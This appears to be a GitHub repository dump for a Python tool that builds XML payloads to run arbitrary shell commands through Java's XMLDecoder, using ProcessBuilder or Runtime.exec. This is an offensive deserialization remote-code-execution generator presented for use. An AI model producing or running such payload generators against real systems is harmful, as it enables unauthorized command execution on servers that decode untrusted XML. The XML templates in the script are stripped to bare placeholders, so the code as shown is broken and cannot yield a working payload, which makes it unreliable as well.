├── Java-XMLDecoder.png ├── README.md └── XMLDecoder-payload-generator.py /Java-XMLDecoder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mhaskar/XMLDecoder-payload-generator/256f2032e88a13fe5879fcadda1f55072419a3fc/Java-XMLDecoder.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # XMLDecoder payload generator 2 | A simple python script to generate XML payloads works for Java XMLDecoder based on ProcessBuilder and Runtime exec. 3 | 4 | You can use this script to generate XML payloads which you can use with XMLDecoder java function. 5 | 6 | 7 | ![XMLDecoder](Java-XMLDecoder.png) 8 | -------------------------------------------------------------------------------- /XMLDecoder-payload-generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | 4 | payload_template_processbuilder = ' Template ' 5 | payload_template_runtime = ' Template ' 6 | 7 | 8 | command = input("command >>") 9 | print("\n") 10 | print("1) ProcessBuilder") 11 | print("2) Runtime Exec\n") 12 | template = input("execution method (please choose 1 or 2) >> ") 13 | 14 | if template != "1" and template != "2": 15 | print("Wrong execution method") 16 | 17 | command_tokens = command.split() 18 | command_length = len(command_tokens) 19 | main_executable = command_tokens[0] 20 | xml_arguments = [] 21 | index = 0 22 | 23 | 24 | def save_payload(payload): 25 | f = open("payload.xml", "w") 26 | f.write(final_payload) 27 | f.close() 28 | print("[+] Your payload saved to payload.xml") 29 | exit() 30 | 31 | 32 | for argument in command_tokens: 33 | xml_argument = '{1}'.format(index, argument) 34 | xml_arguments.append(xml_argument) 35 | index = index + 1 36 | 37 | final_xml_arguments = "".join(xml_arguments) 38 | 39 | if template == "1": 40 | payload = payload_template_processbuilder.replace("Template", final_xml_arguments) 41 | final_payload = payload.format(command_length) 42 | save_payload(final_payload) 43 | 44 | elif template == "2": 45 | payload = payload_template_runtime.replace("Template", final_xml_arguments) 46 | final_payload = payload.format(command_length) 47 | save_payload(final_payload) 48 | --------------------------------------------------------------------------------